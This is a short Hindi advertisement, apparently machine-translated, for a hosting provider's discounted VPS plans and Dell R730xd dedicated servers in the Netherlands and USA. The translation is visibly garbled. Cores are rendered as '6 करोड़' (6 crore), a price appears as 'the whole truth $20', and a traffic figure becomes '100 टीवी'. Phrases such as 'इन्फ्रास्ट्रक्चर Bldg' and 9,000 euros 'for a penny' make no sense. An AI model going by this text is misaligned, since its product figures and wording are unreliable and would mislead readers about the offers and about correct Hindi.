  हमारे साथ बने रहने के लिए धन्यवाद। क्या आप हमारे लेख पसंद करते हैं? अधिक दिलचस्प सामग्री देखना चाहते हैं? एक आदेश रखकर या अपने दोस्तों को इसकी अनुशंसा करके हमें समर्थन दें, एंट्री-लेवल सर्वरों के अनूठे एनालॉग पर हैबर उपयोगकर्ताओं के लिए 30% छूट जो हमने आपके लिए ईजाद की है: VPS (KVM) E5-2650 v4 (6 कोर) 10GB DDR4 240GB SSD 1Gbps से पूरा सच $ 20 या सर्वर को कैसे विभाजित करें? (विकल्प RAID1 और RAID10 के साथ उपलब्ध हैं, 24 कोर तक और 40GB DDR4 तक)।
  
  VPS (KVM) E5-2650 v4 (6 करोड़) 10GB DDR4 240GB SSD 1Gbps दिसंबर तक मुफ्त में जब छह महीने की अवधि के लिए भुगतान करते हैं, तो आप यहां ऑर्डर कर सकते हैं ।
  
  डेल R730xd 2 बार सस्ता? केवल हमारे पास 2 x Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps नीदरलैंड और यूएसए में $ 249 से 100 टीवी है ! इन्फ्रास्ट्रक्चर Bldg का निर्माण कैसे करें के बारे में पढ़ें । एक पैसा के लिए 9,000 यूरो की लागत डेल R730xd E5-2650 v4 सर्वर का उपयोग कर वर्ग?